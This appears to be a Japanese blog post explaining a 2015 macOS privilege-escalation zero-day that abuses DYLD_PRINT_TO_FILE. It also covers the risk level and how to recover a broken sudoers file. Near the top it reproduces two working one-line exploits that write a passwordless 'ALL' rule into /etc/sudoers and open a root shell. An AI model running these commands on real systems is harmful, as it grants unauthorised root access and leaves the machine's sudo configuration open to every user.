はじめに
6月頃から話題になってたようですが、早くも簡単に実行するコマンドがアップされていました。
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s # via reddit: numinit (shorter)
— Stefan Esser (@i0n1c) 2015, 7月 22
権限昇格の脆弱性(Exploit)というのは、パスワードを回避して上級ユーザーにログインする感じのものを言います。今回のコマンドもそんな感じで、パスワード入力なしにsudo suが実行されます。
また、ここで言うゼロデイ(0day)というのは公式では修正されていない脆弱性、一般には知られていない脆弱性のことを言います。0dayだと、対象となるOS及びツールなどで、ほとんどの場合、攻撃が通ってしまいます。
内容
$ echo python -c '"import os;os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su
上記を実行すると、パスワード入力なしにsudo suが実行できてしまいます。
内容は読んでみても分かるように、/etc/sudoersにALL ALL=(ALL) NOPASSWD: ALLを追記して、sudo hogeを実行できてしまうコード。ここをsudo suにすると、rootでログインできてしまう。
注意
/etc/sudoersの記述をミスってしまうとsudoが実行できなくなってしまいます。これは割と有名な話で、/etc/sudoersのような危険なファイルは、通常、直接編集するのではなくvisudoなどで編集します。
なので、試す際は、仮想環境下または、最新の注意を払って自分が管理する環境下のみで実行するようにしてください。
危険度
この手の権限昇格の脆弱性、それ自体は緊急度は最高レベルではないため、それほど心配する必要はないかもしれません(コンピュータの使い方にもよりますが)。
一番注意が必要なのは、リモートで任意のコードを実行できるゼロデイ脆弱性で、この場合、コンピュータの使い方問わず攻撃されてしまう危険があります。
ただ、そうはいってもこれらは、ツールに依存するものから、OSそのものに対するものまで様々で、今回は、OSそのもの(sudoはデフォルトでインストールされているため、これをOSの機能の一部とみなす)に対するものなので、危険度は高めかもしれません。Appleからの修正アップデートを待ちましょう。
復旧
もし/etc/sudoersの記述をミスして、sudoコマンドが有効に実行できなくなった場合の復旧方法を一応書いておきます。
復旧方法は簡単で、Linuxの場合は、単にマウントして/etc/sudoersを修正すればよいです。rootのSessionが残っていればそれを辿って、rootで編集します。
Macの場合は、rootというユーザーを有効にすることで復旧可能です。rootユーザーを有効にする方法は以下のコマンドを使います。
$ dsenableroot
あとはcommand + shift + option + Qでログアウトして、その他のユーザー - rootでログイン後に/etc/sudoersを編集するとよいでしょう。